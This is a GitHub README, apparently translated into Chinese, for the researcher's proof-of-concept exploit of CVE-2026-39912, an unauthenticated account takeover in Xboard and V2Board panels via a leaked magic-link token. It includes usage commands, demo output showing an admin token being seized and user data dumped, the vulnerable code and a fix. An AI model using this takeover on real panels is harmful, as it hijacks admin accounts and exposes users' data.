Chocapikk/CVE-2026-39912

GitHub: Chocapikk/CVE-2026-39912

针对Xboard和V2Board面板的未授权账户接管漏洞利用脚本,通过利用Magic Link Token泄露实现账户劫持。

Stars: 0 | Forks: 0

# CVE-2026-39912 - Xboard / V2Board 未授权账户接管 **loginWithMailLink 中的 Magic Link Token 泄露** | | | |---|---| | **CVE** | CVE-2026-39912 | | **CVSS** | 9.1 (严重) | | **CWE** | CWE-201 (将敏感信息插入已发送数据中) | | **受影响版本** | V2Board >= 1.6.1 至 1.7.4 / Xboard 所有版本至 0.1.9+ | | **修复状态** | 尚未修复 (V2Board 自 2023 年 6 月起已停止维护) | | **披露日期** | 2026-04-09 | | **报告者** | [Valentin Lobstein (Chocapikk)](https://github.com/Chocapikk) | | **分析文章** | [chocapikk.com](https://chocapikk.com/posts/2026/xboard-v2board-account-takeover/) | | **修复 PR** | [V2Board #981](https://github.com/v2board/v2board/pull/981) / [Xboard #873](https://github.com/cedar2025/Xboard/pull/873) | ## 简介 `loginWithMailLink` 端点直接在 HTTP 响应正文中返回 magic 登录链接,而不是仅通过电子邮件发送。知道注册电子邮件地址的未授权攻击者可以在两次 HTTP 请求中接管任何账户——包括管理员账户。 ## 受影响软件 - [V2Board](https://github.com/v2board/v2board) - 开源代理协议管理面板 (8.7k stars,已停止维护) - [Xboard](https://github.com/cedar2025/Xboard) - V2Board 的衍生版本 (4k+ stars,积极维护中) 两者都是广泛部署的 VPN/代理面板,主要在中国使用。ZoomEye 显示互联网上有 7,000+ 个实例暴露。 ## 要求 - 必须在管理员设置中启用 `login_with_mail_link_enable` (默认未启用) - 一个有效的注册电子邮件地址 ## 使用方法 ``` # 安装依赖 pip install requests # Account takeover + data dump python3 exploit.py http://target:7001 admin@demo.com # 保存 dump 到文件 python3 exploit.py http://target:7001 admin@demo.com -o dump.json ``` ## 演示 ``` $ python3 exploit.py http://target:7001 admin@demo.com Xboard / V2Board - Unauth Account Takeover Magic Link Token Leak (CVE-2026-39912) | by Choc V2Board >= 1.6.1 | Xboard <= 0.1.9+ 45 min from git clone to is_admin: true [INFO] Requesting magic link for admin@demo.com [INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard [INFO] Authenticated (admin=True) [INFO] User Info: OK [INFO] Subscription: OK [INFO] Active Sessions: OK [INFO] Stats: OK { "auth": { "auth_data": "Bearer qCU2d9hS...", "is_admin": true }, "dump": { "User Info": { "email": "admin@demo.com", "uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695", ... }, "Subscription": { "subscribe_url": "http://target:7001/s/324396af...", ... }, "Active Sessions": [ ... ] } } ``` ## 漏洞详情 **V2Board** (`app/Http/Controllers/Passport/AuthController.php`): ``` SendEmailJob::dispatch([...]); return response([ 'data' => $link // Token leaked to caller ]); ``` **Xboard** (`app/Services/Auth/MailLinkService.php`): ``` $this->sendMailLinkEmail($user, $link); return [true, $link]; // Same bug, inherited from fork ``` ## 修复方案 ``` - return [true, $link]; + return [true, true]; ``` ## 参考 - [V2Board - 漏洞代码 (第 71 行)](https://github.com/v2board/v2board/blob/0ca47622a50116d0ddd7ffb316b157afb57d25e8/app/Http/Controllers/Passport/AuthController.php#L71) - [Xboard - 漏洞代码 (第 49 行)](https://github.com/cedar2025/Xboard/blob/1fe6531924cc1ec662a88b9ef725afcf78d660bc/app/Services/Auth/MailLinkService.php#L49) - [引入该漏洞的原始提交 (2022-06-27)](https://github.com/v2board/v2board/commit/bdb10bed32c5f37df2f0872c3cb354e9b7a293bd)
标签:0day, CVE-2026-39912, CWE-201, EXP, Magic Link Token, StruQ, V2Board, VPN面板, Xboard, 代理管理, 信息泄露, 字符串匹配, 敏感信息插入, 未授权访问, 网络渗透, 账户接管, 身份认证绕过, 逆向工具, 高危漏洞